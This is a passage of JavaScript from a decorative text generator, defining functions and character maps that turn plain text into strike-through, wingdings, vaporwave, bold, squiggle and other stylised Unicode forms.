      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      finalText += cuteText(text) + "\n\n";
      
      return finalText.trim();
    }
    
    function crazyWithFlourishOrSymbols(text) {
      if(Math.random() < 0.7) return wrapInSymbols(crazifyText(text), 2);
      else return wrapInFlourish(crazifyText(text), 2);
    }
    
    function strikeThrough(text) {
      return text.split("").join("̶")+"̶"; 
    }
    function tildeStrikeThrough(text) {
      return text.split("").join("̴")+"̴";
    }
    function underline(text) {
      return text.split("").join("̲")+"̲";
    }
    function doubleUnderline(text) {
      return text.split("").join("̳")+"̳";
    }
    function slashThrough(text) {
      return text.split("").join("̷")+"̷";
    }
    function stinky(text) {
      return text.split("").join("̾")+"̾"
    }
    function heartsBetween(text) {
      return text.split("").join("♥");
    }
    function arrowBelow(text) {
      return text.split("").join("͎")+"͎";
    }
    function crossAboveBelow(text) {
      return text.split("").join("͓̽")+"͓̽";
    }
    
      const wingdingsCharMap =
 {"0":"📁︎","1":"📂︎","2":"📄︎","3":"🗏︎","4":"🗐︎","5":"🗄︎","6":"⌛︎","7":"🖮︎","8":"🖰︎","9":"🖲︎","!":"✏︎","\"":"✂︎","#":"✁︎","$":"👓︎","%":"🕭︎","&":"🕮︎","'":"🕯︎","(":"🕿︎",")":"✆︎","*":"🖂︎","+":"🖃︎",",":"📪︎","-":"📫︎",".":"📬︎","/":"📭︎",":":"🖳︎",";":"🖴︎","<":"🖫︎","=":"🖬︎",">":"✇︎","?":"✍︎","A":"✌︎","B":"👌︎","C":"👍︎","D":"👎︎","E":"☜︎","F":"☞︎","G":"☝︎","H":"☟︎","I":"✋︎","J":"☺︎","K":"😐︎","L":"☹︎","M":"💣︎","N":"☠︎","O":"⚐︎","P":"🏱︎","Q":"✈︎","R":"☼︎","S":"💧︎","T":"❄︎","U":"🕆︎","V":"✞︎","W":"🕈︎","X":"✠︎","Y":"✡︎","Z":"☪︎","[":"☯︎","\\":"ॐ︎","]":"☸︎","^":"♈︎","_":"♉︎","`":"♊︎","a":"♋︎","b":"♌︎","c":"♍︎","d":"♎︎","e":"♏︎","f":"♐︎","g":"♑︎","h":"♒︎","i":"♓︎","j":"🙰","k":"🙵","l":"●︎","m":"❍︎","n":"■︎","o":"□︎","p":"◻︎","q":"❑︎","r":"❒︎","s":"⬧︎","t":"⧫︎","u":"◆︎","v":"❖︎","w":"⬥︎","x":"⌧︎","y":"⍓︎","z":"⌘︎","{":"❀︎","|":"✿︎","}":"❝︎","~":"❞︎"," ":"▯︎","€":"⓪︎"," ":"①︎","‚":"②︎","ƒ":"③︎","„":"④︎","…":"⑤︎","†":"⑥︎","‡":"⑦︎","ˆ":"⑧︎","‰":"⑨︎","Š":"⑩︎","‹":"⓿︎","Œ":"❶︎"," ":"❷︎","Ž":"❸︎"," ":"❹︎"," ":"❺︎","‘":"❻︎","’":"❼︎","“":"❽︎","”":"❾︎","•":"❿︎","–":"◻︎","—":"◻︎","˜":"◻︎","™":"◻︎","š":"◻︎","›":"◻︎","œ":"◻︎"," ":"◻︎","ž":"·︎","Ÿ":"•︎","¡":"○︎","¢":"⭕︎","£":"◻︎","¤":"◉︎","¥":"◎︎","¦":"◻︎","§":"▪︎","¨":"◻︎","©":"◻︎","ª":"✦︎","«":"★︎","¬":"✶︎","®":"✹︎","¯":"✵︎","°":"◻︎","±":"⌖︎","²":"⟡︎","³":"⌑︎","´":"◻︎","µ":"✪︎","¶":"✰︎","·":"🕐︎","¸":"🕑︎","¹":"🕒︎","º":"🕓︎","»":"🕔︎","¼":"🕕︎","½":"🕖︎","¾":"🕗︎","¿":"🕘︎","À":"🕙︎","Á":"🕚︎","Â":"🕛︎","Ã":"◻︎","Ä":"◻︎","Å":"◻︎","Æ":"◻︎","Ç":"◻︎","È":"◻︎","É":"◻︎","Ê":"◻︎","Ë":"◻︎","Ì":"◻︎","Í":"◻︎","Î":"◻︎","Ï":"◻︎","Ð":"◻︎","Ñ":"◻︎","Ò":"◻︎","Ó":"◻︎","Ô":"◻︎","Õ":"⌫︎","Ö":"⌦︎","×":"◻︎","Ø":"➢︎","Ù":"◻︎","Ú":"◻︎","Û":"◻︎","Ü":"➲︎","Ý":"◻︎","Þ":"◻︎","ß":"◻︎","à":"◻︎","á":"◻︎","â":"◻︎","ã":"◻︎","ä":"◻︎","å":"◻︎","æ":"◻︎","ç":"◻︎","è":"➔︎","é":"◻︎","ê":"◻︎","ë":"◻︎","ì":"◻︎","í":"◻︎","î":"◻︎","ï":"⇦︎","ð":"⇨︎","ñ":"⇧︎","ò":"⇩︎","ó":"⬄︎","ô":"⇳︎","õ":"⬀︎","ö":"⬁︎","÷":"⬃︎","ø":"⬂︎","ù":"▭︎","ú":"▫︎","û":"✗︎","ü":"✓︎","ý":"☒︎","þ":"☑︎","ÿ":"◻︎"};
    function wingdings(text) {
      return text.split("").map(function(a) {return wingdingsCharMap[a] ? wingdingsCharMap[a] : a}).join("");
    }
    
    const vaporwaveCharMap = {" ":" ", "`" : "`","1" : "1","2" : "2","3" : "3","4" : "4","5" : "5","6" : "6","7" : "7","8" : "8","9" : "9","0" : "0","-" : "-","=" : "=","~" : "~","!" : "!","@" : "@","#" : "#","$" : "$","%" : "%","^" : "^","&" : "&","*" : "*","(" : "(",")" : ")","_" : "_","+" : "+","q" : "q","w" : "w","e" : "e","r" : "r","t" : "t","y" : "y","u" : "u","i" : "i","o" : "o","p" : "p","[" : "[","]" : "]","\\" : "\\","Q" : "Q","W" : "W","E" : "E","R" : "R","T" : "T","Y" : "Y","U" : "U","I" : "I","O" : "O","P" : "P","{" : "{","}" : "}","|" : "|","a" : "a","s" : "s","d" : "d","f" : "f","g" : "g","h" : "h","j" : "j","k" : "k","l" : "l",";" : ";","'" : "'","A" : "A","S" : "S","D" : "D","F" : "F","G" : "G","H" : "H","J" : "J","K" : "K","L" : "L",":" : ":","\"" : "\"","z" : "z","x" : "x","c" : "c","v" : "v","b" : "b","n" : "n","m" : "m","," : ",","." : ".","/" : "/","Z" : "Z","X" : "X","C" : "C","V" : "V","B" : "B","N" : "N","M" : "M","<" : "<",">" : ">","?" : "?"};
    function vaporwaveText(text) {
      var numSpaces = text.split(" ").length;
      text = applyCharMap(vaporwaveCharMap, text);
      var asianChars = getAsianChars(Math.max(3, numSpaces));
      if(numSpaces > 6) asianChars = asianChars.split("").map(c => c+[""," "][Math.round(Math.random()*0.6)]).join("");
      var outputs = [];
      outputs.push( text+" "+asianChars );
      outputs.push( text.replace(/ /g, "░").replace(/ae/, "æ").replace(/A/g, "Λ").replace(/E/g, function() { return Math.random() > 0.5 ? "Ξ" : "Σ"; }).replace(/O/g, "♢")+" ("+asianChars+")" );
      outputs.push("【"+text+"】");
      return outputs.join("\n\n");
    }


    function getAsianChars(n) {
      if(!n) n = 1;
      var chars = "リサフランク現代のコンピュ竹内 まりや若者が履く流行のスニーカー真夜中のドアホットドッグマスターストライカーソニーブギ新しい日の誕生ライフ - ヒスイ蒸気波 無線゠ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヷヸヹヺ・ーヽヾヿぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖ゙゚゛゜ゝゞゟ亜哀挨愛曖悪握圧扱宛嵐安案暗以衣位囲医依委威為畏胃尉異移萎偉椅彙意違維慰遺緯域育壱逸茨芋引印因咽姻員院淫陰飲隠韻右宇羽雨唄鬱畝浦運雲永泳英映栄営詠影鋭衛易疫益液駅悦越謁閲円延沿炎怨宴媛援園煙猿遠鉛塩演縁艶汚王凹央応往押旺欧殴桜翁奥横岡屋億憶臆虞乙俺卸音恩温穏下化火加可仮何花佳価果河苛科";
      var str = "";
      for(var i = 0; i < n; i++) {
        str += chars[Math.floor(Math.random()*chars.length)];
      }
      return str;
    }
    
    
    const flourishArray = ["★·.·´¯`·.·★ [[text]] ★·.·´¯`·.·★", "▁ ▂ ▄ ▅ ▆ ▇ █ [[text]] █ ▇ ▆ ▅ ▄ ▂ ▁", "°°°·.°·..·°¯°·._.· [[text]] ·._.·°¯°·.·° .·°°°", "¸,ø¤º°`°º¤ø,¸¸,ø¤º° [[text]] °º¤ø,¸¸,ø¤º°`°º¤ø,¸", "ıllıllı [[text]] ıllıllı", "•?((¯°·._.• [[text]] •._.·°¯))؟•", "▌│█║▌║▌║ [[text]] ║▌║▌║█│▌", "׺°”˜`”°º× [[text]] ׺°”˜`”°º×", "•]••´º´•» [[text]] «•´º´••[•", "*•.¸♡ [[text]] ♡¸.•*", "╰☆☆ [[text]] ☆☆╮", ".•°¤*(¯`★´¯)*¤° [[text]] °¤*(¯´★`¯)*¤°•.", "(¯´•._.• [[text]] •._.•´¯)", "¸„.-•~¹°”ˆ˜¨ [[text]] ¨˜ˆ”°¹~•-.„¸", "░▒▓█ [[text]] █▓▒░", "░▒▓█►─═  [[text]] ═─◄█▓▒░", "★彡 [[text]] 彡★", "•´¯`•. [[text]] .•´¯`•", "§.•´¨'°÷•..× [[text]] ×,.•´¨'°÷•..§", "•°¯`•• [[text]] ••´¯°•", "(¯`*•.¸,¤°´✿.。.:* [[text]] *.:。.✿`°¤,¸.•*´¯)", "|!¤*'~``~'*¤!| [[text]] |!¤*'~``~'*¤!|", "•._.••´¯``•.¸¸.•` [[text]] `•.¸¸.•´´¯`••._.•", "¸„.-•~¹°”ˆ˜¨ [[text]] ¨˜ˆ”°¹~•-.„¸", "(¯´•._.• [[text]] •._.•´¯)", "••¤(`×[¤ [[text]] ¤]×´)¤••", "•´¯`•» [[text]] «•´¯`•", " .o0×X×0o. [[text]] .o0×X×0o.", "¤¸¸.•´¯`•¸¸.•..>> [[text]] <<..•.¸¸•´¯`•.¸¸¤", "—(••÷[ [[text]] ]÷••)—", "¸,ø¤º°`°º¤ø,¸ [[text]] ¸,ø¤º°`°º¤ø,¸", "`•.¸¸.•´´¯`••._.• [[text]] •._.••`¯´´•.¸¸.•`", ",-*' ^ '~*-.,_,.-*~ [[text]] ~*-.,_,.-*~' ^ '*-,", "`•.,¸¸,.•´¯ [[text]] ¯`•.,¸¸,.•´", "↤↤↤↤↤ [[text]] ↦↦↦↦↦", "➶➶➶➶➶ [[text]] ➷➷➷➷➷", "↫↫↫↫↫ [[text]] ↬↬↬↬↬", "·.¸¸.·♩♪♫ [[text]] ♫♪♩·.¸¸.·", "【。_。】 [[text]] 【。_。】", "]|I{•------» [[text]] «------•}I|[", "▀▄▀▄▀▄ [[text]] ▄▀▄▀▄▀", "(-_-) [[text]] (-_-)", "•´¯`•. [[text]] .•´¯`•", "-漫~*'¨¯¨'*·舞~ [[text]] ~舞*'¨¯¨'*·~漫-", "๑۞๑,¸¸,ø¤º°`°๑۩ [[text]] ๑۩ ,¸¸,ø¤º°`°๑۞๑", ".•°¤*(¯`★´¯)*¤° [[text]] °¤*(¯´★`¯)*¤°•.", "••.•´¯`•.•• [[text]] ••.•´¯`•.••", "¤¸¸.•´¯`•¸¸.•..>> [[text]] <<..•.¸¸•´¯`•.¸¸¤", "◦•●◉✿ [[text]] ✿◉●•◦", "╚»★«╝ [[text]] ╚»★«╝", "-·=»‡«=·- [[text]] -·=»‡«=·-", "∙∙·▫▫ᵒᴼᵒ▫ₒₒ▫ᵒᴼᵒ▫ₒₒ▫ᵒᴼᵒ [[text]] ᵒᴼᵒ▫ₒₒ▫ᵒᴼᵒ▫ₒₒ▫ᵒᴼᵒ▫▫·∙∙", "¸¸♬·¯·♩¸¸♪·¯·♫¸¸ [[text]] ¸¸♫·¯·♪¸¸♩·¯·♬¸¸", "ஜ۩۞۩ஜ [[text]] ஜ۩۞۩ஜ", "¤ (¯´☆✭.¸_)¤ [[text]] ¤(_¸.✭☆´¯) ¤", "(¯`·.¸¸.·´¯`·.¸¸.-> [[text]] <-.¸¸.·´¯`·.¸¸.·´¯)", "✿.。.:* ☆:**:. [[text]] .:**:.☆*.:。.✿", ".•♫•♬• [[text]] •♬•♫•.", "ღ(¯`◕‿◕´¯) ♫ ♪ ♫ [[text]] ♫ ♪ ♫ (¯`◕‿◕´¯)ღ", "«-(¯`v´¯)-« [[text]] »-(¯`v´¯)-»"];
    function wrapInFlourish(text) {
      return flourishArray[Math.floor(Math.random()*flourishArray.length)].replace("[[text]]", text);
    }
    
    function wrapInSymbols(text, number) {
      return randomSymbols(number) +"  "+ text +"  "+ randomSymbols(number)
    }






    function firework(text) {
      return text.split("").join("҉")+ "҉";
    }








    function weirdBox(text) {
      return text.replace(/([^\s])/g,"[̲̅$1]");
    }








    function littleSparkles(text) {
      return "˜”*°•.˜”*°• "+text+" •°*”˜.•°*”˜";
    }








    function kirbyHug(text) {
      return "(っ◔◡◔)っ ♥ " + text + " ♥"
    }








    function dottyJoiner(text) {
      return "░" + text.split("").join("░") + "░";
    }








    function wavyJoiner(text) {
      return "≋" + text.split("").join("≋") + "≋";
    }








    function diametricAngleFrame(text) {
      return text.replace(/([^\s])/g,"『$1』");
    }








    function thickBlockFramed(text) {
      return text.replace(/([^\s])/g,"【$1】");
    }
    
    function applyCharMap(map, text) {
      let out = "";
       for(let c of text.split("")) {
         if(map[c] !== undefined) out += map[c];
         else if(map[c.toLowerCase()] !== undefined) out += map[c.toLowerCase()];
         else out += c;
       }
      return out;
    }
     
    
    /* eslint-disable */
    const futureAlienCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑢ","d":"ᕲ","e":"ᘿ","f":"ᖴ","g":"ᘜ","h":"ᕼ","i":"ᓰ","j":"ᒚ","k":"ᖽᐸ","l":"ᒪ","m":"ᘻ","n":"ᘉ","o":"ᓍ","p":"ᕵ","q":"ᕴ","r":"ᖇ","s":"S","t":"ᖶ","u":"ᑘ","v":"ᐺ","w":"ᘺ","x":"᙭","y":"ᖻ","z":"ᗱ","A":"ᗩ","B":"ᗷ","C":"ᑢ","D":"ᕲ","E":"ᘿ","F":"ᖴ","G":"ᘜ","H":"ᕼ","I":"ᓰ","J":"ᒚ","K":"ᖽᐸ","L":"ᒪ","M":"ᘻ","N":"ᘉ","O":"ᓍ","P":"ᕵ","Q":"ᕴ","R":"ᖇ","S":"S","T":"ᖶ","U":"ᑘ","V":"ᐺ","W":"ᘺ","X":"᙭","Y":"ᖻ","Z":"ᗱ"};
    const squiggle6CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ค","b":"๖","c":"¢","d":"໓","e":"ē","f":"f","g":"ງ","h":"h","i":"i","j":"ว","k":"k","l":"l","m":"๓","n":"ຖ","o":"໐","p":"p","q":"๑","r":"r","s":"Ş","t":"t","u":"น","v":"ง","w":"ຟ","x":"x","y":"ฯ","z":"ຊ","A":"ค","B":"๖","C":"¢","D":"໓","E":"ē","F":"f","G":"ງ","H":"h","I":"i","J":"ว","K":"k","L":"l","M":"๓","N":"ຖ","O":"໐","P":"p","Q":"๑","R":"r","S":"Ş","T":"t","U":"น","V":"ง","W":"ຟ","X":"x","Y":"ฯ","Z":"ຊ"};
    const squiggle5CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ą","b":"ც","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɠ","h":"ɧ","i":"ı","j":"ʝ","k":"ƙ","l":"Ɩ","m":"ɱ","n":"ŋ","o":"ơ","p":"℘","q":"զ","r":"ཞ","s":"ʂ","t":"ɬ","u":"ų","v":"۷","w":"ῳ","x":"ҳ","y":"ყ","z":"ʑ","A":"ą","B":"ც","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɠ","H":"ɧ","I":"ı","J":"ʝ","K":"ƙ","L":"Ɩ","M":"ɱ","N":"ŋ","O":"ơ","P":"℘","Q":"զ","R":"ཞ","S":"ʂ","T":"ɬ","U":"ų","V":"۷","W":"ῳ","X":"ҳ","Y":"ყ","Z":"ʑ"};
    const asianStyle2CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ム","b":"乃","c":"ᄃ","d":"り","e":"乇","f":"キ","g":"ム","h":"ん","i":"ノ","j":"フ","k":"ズ","l":"レ","m":"ᄊ","n":"刀","o":"の","p":"ア","q":"ゐ","r":"尺","s":"丂","t":"イ","u":"ひ","v":"√","w":"W","x":"メ","y":"リ","z":"乙","A":"ム","B":"乃","C":"ᄃ","D":"り","E":"乇","F":"キ","G":"ム","H":"ん","I":"ノ","J":"フ","K":"ズ","L":"レ","M":"ᄊ","N":"刀","O":"の","P":"ア","Q":"ゐ","R":"尺","S":"丂","T":"イ","U":"ひ","V":"√","W":"W","X":"メ","Y":"リ","Z":"乙"};
    const asianStyleCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"卂","b":"乃","c":"匚","d":"ᗪ","e":"乇","f":"千","g":"Ꮆ","h":"卄","i":"丨","j":"フ","k":"Ҝ","l":"ㄥ","m":"爪","n":"几","o":"ㄖ","p":"卩","q":"Ɋ","r":"尺","s":"丂","t":"ㄒ","u":"ㄩ","v":"ᐯ","w":"山","x":"乂","y":"ㄚ","z":"乙","A":"卂","B":"乃","C":"匚","D":"ᗪ","E":"乇","F":"千","G":"Ꮆ","H":"卄","I":"丨","J":"フ","K":"Ҝ","L":"ㄥ","M":"爪","N":"几","O":"ㄖ","P":"卩","Q":"Ɋ","R":"尺","S":"丂","T":"ㄒ","U":"ㄩ","V":"ᐯ","W":"山","X":"乂","Y":"ㄚ","Z":"乙"};
    const squaresCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"🄰","b":"🄱","c":"🄲","d":"🄳","e":"🄴","f":"🄵","g":"🄶","h":"🄷","i":"🄸","j":"🄹","k":"🄺","l":"🄻","m":"🄼","n":"🄽","o":"🄾","p":"🄿","q":"🅀","r":"🅁","s":"🅂","t":"🅃","u":"🅄","v":"🅅","w":"🅆","x":"🅇","y":"🅈","z":"🅉","A":"🄰","B":"🄱","C":"🄲","D":"🄳","E":"🄴","F":"🄵","G":"🄶","H":"🄷","I":"🄸","J":"🄹","K":"🄺","L":"🄻","M":"🄼","N":"🄽","O":"🄾","P":"🄿","Q":"🅀","R":"🅁","S":"🅂","T":"🅃","U":"🅄","V":"🅅","W":"🅆","X":"🅇","Y":"🅈","Z":"🅉"};
    const squiggle4CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"Ꮧ","b":"Ᏸ","c":"ፈ","d":"Ꮄ","e":"Ꮛ","f":"Ꭶ","g":"Ꮆ","h":"Ꮒ","i":"Ꭵ","j":"Ꮰ","k":"Ꮶ","l":"Ꮭ","m":"Ꮇ","n":"Ꮑ","o":"Ꭷ","p":"Ꭾ","q":"Ꭴ","r":"Ꮢ","s":"Ꮥ","t":"Ꮦ","u":"Ꮼ","v":"Ꮙ","w":"Ꮗ","x":"ጀ","y":"Ꭹ","z":"ፚ","A":"Ꮧ","B":"Ᏸ","C":"ፈ","D":"Ꮄ","E":"Ꮛ","F":"Ꭶ","G":"Ꮆ","H":"Ꮒ","I":"Ꭵ","J":"Ꮰ","K":"Ꮶ","L":"Ꮭ","M":"Ꮇ","N":"Ꮑ","O":"Ꭷ","P":"Ꭾ","Q":"Ꭴ","R":"Ꮢ","S":"Ꮥ","T":"Ꮦ","U":"Ꮼ","V":"Ꮙ","W":"Ꮗ","X":"ጀ","Y":"Ꭹ","Z":"ፚ"};
    const neonCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ᗩ","b":"ᗷ","c":"ᑕ","d":"ᗪ","e":"E","f":"ᖴ","g":"G","h":"ᕼ","i":"I","j":"ᒍ","k":"K","l":"ᒪ","m":"ᗰ","n":"ᑎ","o":"O","p":"ᑭ","q":"ᑫ","r":"ᖇ","s":"ᔕ","t":"T","u":"ᑌ","v":"ᐯ","w":"ᗯ","x":"᙭","y":"Y","z":"ᘔ","A":"ᗩ","B":"ᗷ","C":"ᑕ","D":"ᗪ","E":"E","F":"ᖴ","G":"G","H":"ᕼ","I":"I","J":"ᒍ","K":"K","L":"ᒪ","M":"ᗰ","N":"ᑎ","O":"O","P":"ᑭ","Q":"ᑫ","R":"ᖇ","S":"ᔕ","T":"T","U":"ᑌ","V":"ᐯ","W":"ᗯ","X":"᙭","Y":"Y","Z":"ᘔ"};
    const squiggle3CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"ǟ","b":"ɮ","c":"ƈ","d":"ɖ","e":"ɛ","f":"ʄ","g":"ɢ","h":"ɦ","i":"ɨ","j":"ʝ","k":"ӄ","l":"ʟ","m":"ʍ","n":"ռ","o":"օ","p":"ք","q":"զ","r":"ʀ","s":"ֆ","t":"ȶ","u":"ʊ","v":"ʋ","w":"ա","x":"Ӽ","y":"ʏ","z":"ʐ","A":"ǟ","B":"ɮ","C":"ƈ","D":"ɖ","E":"ɛ","F":"ʄ","G":"ɢ","H":"ɦ","I":"ɨ","J":"ʝ","K":"ӄ","L":"ʟ","M":"ʍ","N":"ռ","O":"օ","P":"ք","Q":"զ","R":"ʀ","S":"ֆ","T":"ȶ","U":"ʊ","V":"ʋ","W":"ա","X":"Ӽ","Y":"ʏ","Z":"ʐ"};
    const monospaceCharMap = {"0":"𝟶","1":"𝟷","2":"𝟸","3":"𝟹","4":"𝟺","5":"𝟻","6":"𝟼","7":"𝟽","8":"𝟾","9":"𝟿","a":"𝚊","b":"𝚋","c":"𝚌","d":"𝚍","e":"𝚎","f":"𝚏","g":"𝚐","h":"𝚑","i":"𝚒","j":"𝚓","k":"𝚔","l":"𝚕","m":"𝚖","n":"𝚗","o":"𝚘","p":"𝚙","q":"𝚚","r":"𝚛","s":"𝚜","t":"𝚝","u":"𝚞","v":"𝚟","w":"𝚠","x":"𝚡","y":"𝚢","z":"𝚣","A":"𝙰","B":"𝙱","C":"𝙲","D":"𝙳","E":"𝙴","F":"𝙵","G":"𝙶","H":"𝙷","I":"𝙸","J":"𝙹","K":"𝙺","L":"𝙻","M":"𝙼","N":"𝙽","O":"𝙾","P":"𝙿","Q":"𝚀","R":"𝚁","S":"𝚂","T":"𝚃","U":"𝚄","V":"𝚅","W":"𝚆","X":"𝚇","Y":"𝚈","Z":"𝚉"};
    const boldItalicCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝙖","b":"𝙗","c":"𝙘","d":"𝙙","e":"𝙚","f":"𝙛","g":"𝙜","h":"𝙝","i":"𝙞","j":"𝙟","k":"𝙠","l":"𝙡","m":"𝙢","n":"𝙣","o":"𝙤","p":"𝙥","q":"𝙦","r":"𝙧","s":"𝙨","t":"𝙩","u":"𝙪","v":"𝙫","w":"𝙬","x":"𝙭","y":"𝙮","z":"𝙯","A":"𝘼","B":"𝘽","C":"𝘾","D":"𝘿","E":"𝙀","F":"𝙁","G":"𝙂","H":"𝙃","I":"𝙄","J":"𝙅","K":"𝙆","L":"𝙇","M":"𝙈","N":"𝙉","O":"𝙊","P":"𝙋","Q":"𝙌","R":"𝙍","S":"𝙎","T":"𝙏","U":"𝙐","V":"𝙑","W":"𝙒","X":"𝙓","Y":"𝙔","Z":"𝙕"};
    const boldCharMap = {"0":"𝟎","1":"𝟏","2":"𝟐","3":"𝟑","4":"𝟒","5":"𝟓","6":"𝟔","7":"𝟕","8":"𝟖","9":"𝟗","a":"𝐚","b":"𝐛","c":"𝐜","d":"𝐝","e":"𝐞","f":"𝐟","g":"𝐠","h":"𝐡","i":"𝐢","j":"𝐣","k":"𝐤","l":"𝐥","m":"𝐦","n":"𝐧","o":"𝐨","p":"𝐩","q":"𝐪","r":"𝐫","s":"𝐬","t":"𝐭","u":"𝐮","v":"𝐯","w":"𝐰","x":"𝐱","y":"𝐲","z":"𝐳","A":"𝐀","B":"𝐁","C":"𝐂","D":"𝐃","E":"𝐄","F":"𝐅","G":"𝐆","H":"𝐇","I":"𝐈","J":"𝐉","K":"𝐊","L":"𝐋","M":"𝐌","N":"𝐍","O":"𝐎","P":"𝐏","Q":"𝐐","R":"𝐑","S":"𝐒","T":"𝐓","U":"𝐔","V":"𝐕","W":"𝐖","X":"𝐗","Y":"𝐘","Z":"𝐙"};
const boldSansCharMap = {"0":"𝟬","1":"𝟭","2":"𝟮","3":"𝟯","4":"𝟰","5":"𝟱","6":"𝟲","7":"𝟳","8":"𝟴","9":"𝟵","a":"𝗮","b":"𝗯","c":"𝗰","d":"𝗱","e":"𝗲","f":"𝗳","g":"𝗴","h":"𝗵","i":"𝗶","j":"𝗷","k":"𝗸","l":"𝗹","m":"𝗺","n":"𝗻","o":"𝗼","p":"𝗽","q":"𝗾","r":"𝗿","s":"𝘀","t":"𝘁","u":"𝘂","v":"𝘃","w":"𝘄","x":"𝘅","y":"𝘆","z":"𝘇","A":"𝗔","B":"𝗕","C":"𝗖","D":"𝗗","E":"𝗘","F":"𝗙","G":"𝗚","H":"𝗛","I":"𝗜","J":"𝗝","K":"𝗞","L":"𝗟","M":"𝗠","N":"𝗡","O":"𝗢","P":"𝗣","Q":"𝗤","R":"𝗥","S":"𝗦","T":"𝗧","U":"𝗨","V":"𝗩","W":"𝗪","X":"𝗫","Y":"𝗬","Z":"𝗭"};
    const italicCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"𝘢","b":"𝘣","c":"𝘤","d":"𝘥","e":"𝘦","f":"𝘧","g":"𝘨","h":"𝘩","i":"𝘪","j":"𝘫","k":"𝘬","l":"𝘭","m":"𝘮","n":"𝘯","o":"𝘰","p":"𝘱","q":"𝘲","r":"𝘳","s":"𝘴","t":"𝘵","u":"𝘶","v":"𝘷","w":"𝘸","x":"𝘹","y":"𝘺","z":"𝘻","A":"𝘈","B":"𝘉","C":"𝘊","D":"𝘋","E":"𝘌","F":"𝘍","G":"𝘎","H":"𝘏","I":"𝘐","J":"𝘑","K":"𝘒","L":"𝘓","M":"𝘔","N":"𝘕","O":"𝘖","P":"𝘗","Q":"𝘘","R":"𝘙","S":"𝘚","T":"𝘛","U":"𝘜","V":"𝘝","W":"𝘞","X":"𝘟","Y":"𝘠","Z":"𝘡"};
    const squiggle2CharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"α","b":"Ⴆ","c":"ƈ","d":"ԃ","e":"ҽ","f":"ϝ","g":"ɠ","h":"ԋ","i":"ι","j":"ʝ","k":"ƙ","l":"ʅ","m":"ɱ","n":"ɳ","o":"σ","p":"ρ","q":"ϙ","r":"ɾ","s":"ʂ","t":"ƚ","u":"υ","v":"ʋ","w":"ɯ","x":"x","y":"ყ","z":"ȥ","A":"A","B":"B","C":"C","D":"D","E":"E","F":"F","G":"G","H":"H","I":"I","J":"J","K":"K","L":"L","M":"M","N":"N","O":"O","P":"P","Q":"Q","R":"R","S":"S","T":"T","U":"U","V":"V","W":"W","X":"X","Y":"Y","Z":"Z"};
    const currencyCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"₳","b":"฿","c":"₵","d":"Đ","e":"Ɇ","f":"₣","g":"₲","h":"Ⱨ","i":"ł","j":"J","k":"₭","l":"Ⱡ","m":"₥","n":"₦","o":"Ø","p":"₱","q":"Q","r":"Ɽ","s":"₴","t":"₮","u":"Ʉ","v":"V","w":"₩","x":"Ӿ","y":"Ɏ","z":"Ⱬ","A":"₳","B":"฿","C":"₵","D":"Đ","E":"Ɇ","F":"₣","G":"₲","H":"Ⱨ","I":"ł","J":"J","K":"₭","L":"Ⱡ","M":"₥","N":"₦","O":"Ø","P":"₱","Q":"Q","R":"Ɽ","S":"₴","T":"₮","U":"Ʉ","V":"V","W":"₩","X":"Ӿ","Y":"Ɏ","Z":"Ⱬ"};
    const symbolsCharMap = {"0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","a":"å","b":"ß","c":"¢","d":"Ð","e":"ê","f":"£","g":"g","h":"h","i":"ï","j":"j","k":"k","l":"l","m":"m","n":"ñ","o":"ð","p":"þ","q":"q","r":"r","s":"§","t":"†","u":"µ","v":"v","w":"w","x":"x","y":"¥","z":"z","A":"Ä","B":"ß","C":"Ç","D":"Ð","E":"È","F":"£","G":"G","H":"H","I":"Ì","J":"J","K":"K","L":"L","M":"M","N":"ñ","O":"Ö","P":"þ","Q":"Q","R":"R","S":"§","T":"†","U":"Ú","V":"V","W":"W","X":"×","Y":"¥","Z":"Z"};
